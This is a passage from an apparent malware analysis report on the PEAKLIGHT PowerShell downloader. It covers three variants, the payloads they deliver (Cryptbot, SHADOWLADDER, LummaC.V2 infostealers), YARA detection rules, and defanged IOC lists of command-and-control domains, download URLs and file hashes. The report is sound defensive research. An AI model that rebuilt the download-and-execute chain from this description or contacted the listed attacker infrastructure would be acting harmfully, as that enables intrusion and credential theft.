Figure 12: PEAKLIGHT variation 1

This PEAKLIGHT downloader is designed to execute the following tasks:

1. znY: Writes data to a file.

2. nbF: Extracts a ZIP archive and runs the first executable file inside.

3. aXR: Downloads data from an obfuscated URL.

4. jkg: Deobfuscates a string.

Main Function (AsD)

• Video Playback or Download: It checks if video.mp4 exists in the AppData folder. If it exists, it plays the video. If not, it downloads the video from a specified URL, saves it as video.mp4 in the AppData folder, and then plays it.

• Image Download: It downloads an image from https://forikabrof[.]click/flkhfaiouwrqkhfasdrhfsa.png using Invoke-WebRequest.

• ZIP File Handling:

• It checks if L1.zip exists in the AppData folder.

• If it exists, it extracts its contents to the AppData folder and runs the first executable file found within the ZIP.

• If not, it downloads L1.zip from a specified URL, saves it in the AppData folder, extracts its contents, and runs the first executable.

• It repeats the same process for L2.zip.

Analysis of the PEAKLIGHT downloader outlined in Figure 12 revealed the following URIs:

• https://nextomax.b-cdn[.]net/video.mp4

• https://nextomax.b-cdn[.]net/L1.zip

• https://nextomax.b-cdn[.]net/L2.zip

• https://forikabrof[.]click/flkhfaiouwrqkhfasdrhfsa.png 

Variation 2

Figure 13: PEAKLIGHT variation 2

This PEAKLIGHT downloader is designed to deliver and execute additional payloads on a compromised system.

The functions:

1. qXF($EGa, $aQU): The purpose of this function is to write data to a file.
2. Irl($EGa): Extracts a ZIP archive and runs an executable from it.
3. OBs($BYu):  Downloads data from a URL.
4. Fzl($XFW): Deobfuscates an array of numbers into a string (likely a URL).

Main Execution (bSo function):

• Defines two ZIP file paths: K1.zip and K2.zip within the ProgramData directory.

• For each of these ZIP files, it checks if they already exist.

• If the file exists, it simply unzips it using the Irl function.

• If the file is missing, it first uses the function Fzl to decode an obfuscated web address, then downloads the ZIP file from that address using the function OBs. Finally, it unzips the downloaded file using the function Irl.

Analysis of the PEAKLIGHT downloader outlined in Figure 13 revealed the following URIs:

• https://potexo.b-cdn[.]net/K1.zip

• https://potexo.b-cdn[.]net/K2.zip

Additionally, Mandiant identified other PEAKLIGHT downloader samples connecting to various subdomains hosted on Bunny CDN. These samples will be discussed in more detail in the subsequent stage of analysis.

Stage 4: The Final Payload Variation 1: L1.zip and L2.zip

Having explored the initial stages of the PEAKLIGHT downloader's operation, our focus now shifts to the payload it delivers. As detailed in Variation 1 of Stage 3, this downloader was observed downloading three specific files: L1.zip, L2.zip, and video.mp4. Mandiant successfully acquired and extracted the contents of the files, as seen in Table 1.

Download

Extracted Content

• Filename: L2.zip

• Hash: 307f40ebc6d8a207455c96d34759f1f3

• Type: Archive

• Filename: Setup.exe

• Hash: d8e21ac76b228ec144217d1e85df2693

• Type: Win32 EXE

• Filename: L1.zip

• Hash: a6c4d2072961e9a8c98712c46be588f8

• Type: Archive

• Filename: LiteSkinUtils.dll

• Hash: 059d94e8944eca4056e92d60f7044f14

• Type: Win32 DLL

• Filename: Bentonite.cfg

• Hash: e7c43dc3ec4360374043b872f934ec9e

• Type: PNG

• Filename: Video.mp4

• Hash: 91423dd4f34f759aaf82aa73fa202120

• Type: Video

  Table 1: Variant 1 downloaded files and extracted archive content

1. L2.zip contained the following:
   • Setup.exe: This executable is a variant of the Cryptbot infostealer. Our analysis uncovered the following embedded URLs:
     1. https://brewdogebar[.]com/code.vue
     2. http://gceight8vt[.]top/upload.php
2. L1.zip contained the following:
   • bentonite.cfg: This file contains malware configurations that are linked to the SHADOWLADDER malware family.
   • LiteSkinUtils.dll: It is a malicious component used by SHADOWLADDER malware to facilitate the execution of its second-stage payload through dynamic-link library (DLL) side-loading.
3. Video.mp4
   • This file appears to be a legitimate movie trailer, likely used as a decoy to deceive the victim into believing that the downloaded files are safe.

Variation 2: K1.zip and K2.zip

The second variant of the PEAKLIGHT downloader, discussed in Variation 2 of Stage 3, was observed downloading two archives: K1.zip and K2.zip.

Download

Extracted Content

• Filename: K1.zip

• Hash: b6b8164feca728db02e6b636162a2960

• Type: Archive

• Filename: toughie.txt

• Hash: dfdc331e575dae6660d6ed3c03d214bd

• Type: data

• Filename: Aaaa.exe

• Hash: b15bac961f62448c872e1dc6d3931016

• Type: Win32 EXE

• Filename: WCLDll.dll

• Hash: 47eee41b822d953c47434377006e01fe

• Type: Win32 DLL

• Filename: C:\Users\user\AppData\Local\Temp\erefgojgbu

• Hash: d6ea5dcdb2f88a65399f87809f43f83c

• Type: Win32 EXE

 

• Filename: K2.zip

• Hash: 236c709bbcb92aa30b7e67705ef7f55a

• Type: Archive

• Filename: Jfts.exe

• Hash: b15bac961f62448c872e1dc6d3931016

• Type: Win32 EXE

Table 2: Variant 2 downloaded files and extracted archive content

1. K1.zip contained the following:
   • toughie.txt: This file contained configurations related to the SHADOWLADDER malware.
   • aaaa.exe & WCLDll.dll: These binaries are DLL files that SHADOWLADDER patches to leverage their HTTP download functionality.
2. K2.zip contained the following:
   • Jfts.exe: This file is a renamed copy of the previously mentioned aaaa.exe.

Upon execution, Jfts.exe loads the malicious WCLDll.dll from K1.zip. This DLL then leverages the "More Utility" (more.com) to stealthily drop two additional files:

• \AppData\Local\Temp\Hofla.au3 (MD5: c56b5f0201a3b3de53e561fe76912bfd): Identified as an AutoIt3.exe binary.
• \AppData\Local\Temp\erefgojgbu (MD5: d6ea5dcdb2f88a65399f87809f43f83c): Further analysis of this files confirmed their association with the CRYPTBOT.AUTOIT malware.

Variation 3: Additional PEAKLIGHT Variant

Further analysis has identified an additional PEAKLIGHT downloader variant employing distinct tactics. This variant retrieves its payload,the archives K1.zip and K2.zip, from the domain matodown.b-cdn[.]net. A detailed breakdown of the contents within these archives is presented in Table 3.

Download

Extracted Content

• Filename: K1.zip

• Hash: bb9641e3035ae8c0ab6117ecc82b65a1

• Type: Archive

• Filename: cymophane.doc

• Hash: f98e0d9599d40ed032ff16de242987ca

• Type: ISO

• Filename: WebView2Loader.dll

• Hash: 58c4ba9385139785e9700898cb097538

• Type: Win32 DLL

• Filename: K2.zip

• Hash: d7aff07e7cd20a5419f2411f6330f530

• Type: Archive

• Filename: hgjke.exe

• Hash: c047ae13fc1e25bc494b17ca10aa179e

• Type: Win32 EXE

• Filename: AppData\Local\Temp\oqnhustu

• Hash: 43939986a671821203bf9b6ba52a51b4

• Type: Win32 EXE

  Table 3: Variant 3 downloaded files and extracted archive content

1. K1.zip contained the following:
   • cymophane.doc: This file contained configurations related to the SHADOWLADDER malware.
   • WebView2Loader.dll: This malicious DLL was observed to be dropped by the LummaC.V2 infostealer.
2. K2.zip contained the following:
   • Hgjke.exe: Identified as a renamed copy of the legitimate "JRiver Web Application" executable. During dynamic analysis, hgjke.exe was observed loading the malicious WebView2Loader.dll. Mandiant observed hgjke.exe utilize the comp.exe utility to drop two additional files:
     • AppData\Local\Temp\Ufa.au3 (MD5: c56b5f0201a3b3de53e561fe76912bfd): Identified as an AutoIt3 binary.
     • AppData\Local\Temp\oqnhustu (MD5: 43939986a671821203bf9b6ba52a51b4): Further analysis confirmed this file to be consistent with the LummaC.V2 payload.

Conclusion

PEAKLIGHT is an obfuscated PowerShell-based downloader that is part of a multi-stage execution chain that checks for the presence of ZIP archives in hard-coded file paths. If the archives do not exist, the downloader will reach out to a CDN site and download the remotely hosted archive file and save it to disk. PEAKLIGHT was observed downloading payloads such as LUMMAC.V2, SHADOWADDER, and CRYPTBOT. The malware developers used several different obfuscation and evasion techniques, including system binary proxy execution and CDN abuse. Mandiant identified different variations of the PEAKLIGHT downloader, each with its own unique characteristics.

We encourage security researchers to remain vigilant and share any insights or similar malware samples they encounter. By working together and fostering open communication within the cybersecurity community, we can better understand the evolving threat landscape and strengthen our collective defenses against future attacks.

Protect and scan your environment against the indicators of compromise and YARA rules in the following section. If you suspect that your environment may have been compromised, contact our Incident Response team for assistance.

Acknowledgements

We would like to thank Adrian McCabe for assistance with LNK research and subject matter expertise, Raymond Leong for the initial analysis of malware stages and payloads, and the Mandiant Research Team for their valuable feedback.

Detections YARA Rules rule M_AES_Encrypted_payload { meta: author = "Mandiant" description = "This rule is desgined to detect on events that exhibits indicators of utilizing AES encryption for payload obfuscation." target_entity = "Process" strings: $a = /(\$\w+\.Key(\s|)=((\s|)(\w+|));|\$\w+\.Key(\s|)=(\s|)\w+\('\w+'\);)/ $b = /\$\w+\.IV/ $c = /System\.Security\.Cryptography\.(AesManaged|Aes)/ condition: all of them } rule M_Downloader_PEAKLIGHT_1 { meta: mandiant_rule_id = "e0abae27-0816-446f-9475-1987ccbb1bc0" author = "Mandiant" category = "Malware" description = "This rule is designed to detect on events related to peaklight. PEAKLIGHT is an obfuscated PowerShell-based downloader which checks for the presence of hard-coded filenames and downloads files from a remote CDN if the files are not present." family = "Peaklight" platform = "Windows" strings: $str1 = /function\s{1,16}\w{1,32}\(\$\w{1,32},\s{1,4}\$\w{1,32}\)\ {\[IO\.File\]::WriteAllBytes\(\$\w{1,32},\s{1,4}\$\w{1,32}\)\}/ ascii wide $str2 = /Expand-Archive\s{1,16}-Path\s{1,16}\$\w{1,32}\ s{1,16}-DestinationPath/ ascii wide $str3 = /\(\w{1,32}\s{1,4}@\((\d{3,6},){3,12}/ ascii wide $str4 = ".DownloadData(" ascii wide $str5 = "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12" ascii wide $str6 = /\.EndsWith\(((["']\.zip["'])|(\(\w{1,32}\s{1,16}@\((\d{3,6},){3}\d{3,6}\)\)))/ ascii wide $str7 = "Add -Type -Assembly System.IO.Compression.FileSystem" ascii wide $str8 = "[IO.Compression.ZipFile]::OpenRead" condition: 4 of them and filesize < 10KB } Indicators of Compromise (IOCs) Network-Based IOCs PEAKLIGHT NBIs: hxxps://fatodex.b-cdn[.]net/fatodex hxxps://matodown.b-cdn[.]net/matodown hxxps://potexo.b-cdn[.]net/potexo LUMMAC.V2 C2s: relaxtionflouwerwi[.]shop deprivedrinkyfaiir[.]shop detailbaconroollyws[.]shop messtimetabledkolvk[.]shop considerrycurrentyws[.]shop understanndtytonyguw[.]shop patternapplauderw[.]shop horsedwollfedrwos[.]shop tropicalironexpressiw[.]shop CRYPTBOT C2s: hxxp://gceight8vt[.]top/upload.php hxxps://brewdogebar[.]com/code.vue SHADOWLADDER: hxxp://62.133.61[.]56/Downloads/Full%20Video%20HD%20(1080p).lnk hxxps://fatodex.b-cdn[.]net/K1.zip hxxps://fatodex.b-cdn[.]net/K2.zip hxxps://forikabrof[.]click/flkhfaiouwrqkhfasdrhfsa.png hxxps://matodown.b-cdn[.]net/K1.zip hxxps://matodown.b-cdn[.]net/K2.zip hxxps://nextomax.b-cdn[.]net/L1.zip hxxps://nextomax.b-cdn[.]net/L2.zip hxxps://potexo.b-cdn[.]net/K1.zip hxxps://potexo.b-cdn[.]net/K2.zip Host-Based IOCs CRYPTBOT: erefgojgbu (MD5: d6ea5dcdb2f88a65399f87809f43f83c) L2.zip (MD5: 307f40ebc6d8a207455c96d34759f1f3) Sеtup.exe (MD5: d8e21ac76b228ec144217d1e85df2693) LUMMAC.V2: oqnhustu (MD5: 43939986a671821203bf9b6ba52a51b4) WebView2Loader.dll (MD5: 58c4ba9385139785e9700898cb097538) PEAKLIGHT: Downloader (MD5: 95361f5f264e58d6ca4538e7b436ab67) Downloader (MD5: b716a1d24c05c6adee11ca7388b728d3) SHADOWLADDER: Aaaa.exe (MD5: b15bac961f62448c872e1dc6d3931016) bentonite.cfg (MD5: e7c43dc3ec4360374043b872f934ec9e) cymophane.doc (MD5: f98e0d9599d40ed032ff16de242987ca) K1.zip (MD5: b6b8164feca728db02e6b636162a2960) K1.zip (MD5: bb9641e3035ae8c0ab6117ecc82b65a1) K2.zip (MD5: 236c709bbcb92aa30b7e67705ef7f55a) K2.zip (MD5: d7aff07e7cd20a5419f2411f6330f530) L1.zip (MD5: a6c4d2072961e9a8c98712c46be588f8) LiteSkinUtils.dll (MD5: 059d94e8944eca4056e92d60f7044f14) toughie.txt (MD5: dfdc331e575dae6660d6ed3c03d214bd) WCLDll.dll (MD5: 47eee41b822d953c47434377006e01fe)